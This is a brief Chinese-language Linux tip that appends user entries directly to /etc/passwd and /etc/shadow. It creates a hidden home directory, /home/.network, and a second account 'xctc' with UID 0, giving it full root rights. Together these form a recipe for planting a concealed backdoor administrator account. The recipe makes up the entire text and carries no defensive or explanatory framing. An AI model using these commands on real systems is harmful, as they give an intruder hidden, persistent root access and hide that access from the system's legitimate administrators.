linux下快速加用户和加管理员

mkdir /home/.network
echo network::500:500::/home/.network:/bin/bash>>/etc/passwd
echo network::::::::>>/etc/shadow
passwd network

加个管理员：
echo xctc::::::::>>/etc/shadow
echo xctc::0:0::/home/.network:/bin/bash>>/etc/passwd
passwd xctc